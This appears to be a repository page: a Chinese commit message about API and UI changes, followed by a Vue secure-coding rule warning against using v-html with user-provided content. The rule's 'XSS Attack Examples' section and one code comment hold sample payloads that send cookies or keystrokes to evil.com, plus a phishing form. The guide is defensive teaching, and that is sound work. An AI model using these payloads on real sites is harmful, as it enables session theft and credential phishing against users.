b553c4e519
- API 路由统一: 移除 /api/h5/，统一 /api/pms/ 入口 - 二进制改名: api-server -> pms-api（与服务名一致） - nginx: 合并 /api/ + /pms/api/ 为 /api/pms/ - 新增 docs/API.md 接口文档 - 后端: CabinetDetail 增加 rssi/pow_fail/address/soc 等字段 - Redis 管道批量读取仓体实时数据（SOC/电压/电流/功率） - DB: 所有 TIMESTAMP 列改为 DATETIME（修复类型不匹配） - 用户管理: 新增创建时间/修改时间列，状态改用 Switch - 角色管理/用户管理: 操作按钮改为图标 - PC 设备详情: 基本信息补全 RSSI/ICCID/电源/地址 - PC 卡片: 通道统计改用 Lucide 图标，颜色统一 - PC 二维码: canvas 渲染，含编号文字，支持右键下载 - H5: 按 uni-app 规范修正导航（navigateTo 替代 reLaunch） - H5: 详情页加返回导航条 - H5: 扫码支持摄像头（jsQR）+ ?id= 参数 - H5: 底部 tabBar 在所有页面常显 - H5: 首页统计改为 6 项（设备/通道/空闲/充电/充满/故障） - H5: 下拉刷新 / 上拉加载 - 产品首页: 添加业务联系 - 文档: 清理过时文件，补充缺失规范章节
3.3 KiB
3.3 KiB
title, impact, impactDescription, type, tags
| title | impact | impactDescription | type | tags | |||||
|---|---|---|---|---|---|---|---|---|---|
| Never Use v-html with User-Provided Content | HIGH | Using v-html with untrusted content leads to XSS vulnerabilities | capability |
|
Never Use v-html with User-Provided Content
Impact: HIGH - Dynamically rendering arbitrary HTML with v-html can lead to Cross-Site Scripting (XSS) vulnerabilities. Attackers can inject malicious scripts that execute in users' browsers, stealing credentials or performing actions on their behalf.
The v-html directive renders raw HTML without sanitization. While useful for trusted content, it bypasses Vue's automatic text escaping and should never be used with user input.
Task Checklist
- Never use
v-htmlwith user-provided content - Prefer text interpolation
{{ }}which automatically escapes HTML - Use components for template composition instead of
v-html - If raw HTML is absolutely needed, sanitize it with a library like DOMPurify
- Audit existing
v-htmlusage for potential XSS vectors
Incorrect:
<template>
<!-- DANGEROUS: User input rendered as HTML -->
<div v-html="userComment"></div>
<!-- DANGEROUS: Content from API without sanitization -->
<article v-html="articleContent"></article>
<!-- DANGEROUS: URL parameters or form inputs -->
<p v-html="searchQuery"></p>
</template>
<script setup>
import { ref } from 'vue'
// This could contain: <script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
const userComment = ref(props.comment)
</script>
Correct:
<template>
<!-- SAFE: Text interpolation escapes HTML -->
<div>{{ userComment }}</div>
<!-- SAFE: Use components for rich content -->
<CommentRenderer :content="userComment" />
<!-- SAFE: Only use v-html with trusted, sanitized content -->
<div v-html="sanitizedContent"></div>
</template>
<script setup>
import { computed } from 'vue'
import DOMPurify from 'dompurify'
const props = defineProps(['comment', 'trustedHtml'])
// Option 1: Use text interpolation (recommended)
const userComment = computed(() => props.comment)
// Option 2: Sanitize if raw HTML is truly needed
const sanitizedContent = computed(() =>
DOMPurify.sanitize(props.trustedHtml)
)
</script>
When v-html Is Acceptable
<template>
<!-- OK: Static HTML from your own codebase -->
<div v-html="staticLegalDisclaimer"></div>
<!-- OK: Content from trusted CMS with sanitization -->
<article v-html="sanitizedCmsContent"></article>
</template>
<script setup>
// Content you control, not user input
const staticLegalDisclaimer = `
<p>Terms and conditions apply.</p>
<a href="/legal">Read more</a>
`
</script>
XSS Attack Examples
Attackers can inject various payloads:
<!-- Cookie theft -->
<img src="x" onerror="fetch('https://evil.com?c='+document.cookie)">
<!-- Keylogging -->
<script>document.onkeypress=function(e){fetch('https://evil.com?k='+e.key)}</script>
<!-- Phishing overlay -->
<div style="position:fixed;top:0;left:0;width:100%;height:100%">
<form action="https://evil.com/steal">Login required...</form>
</div>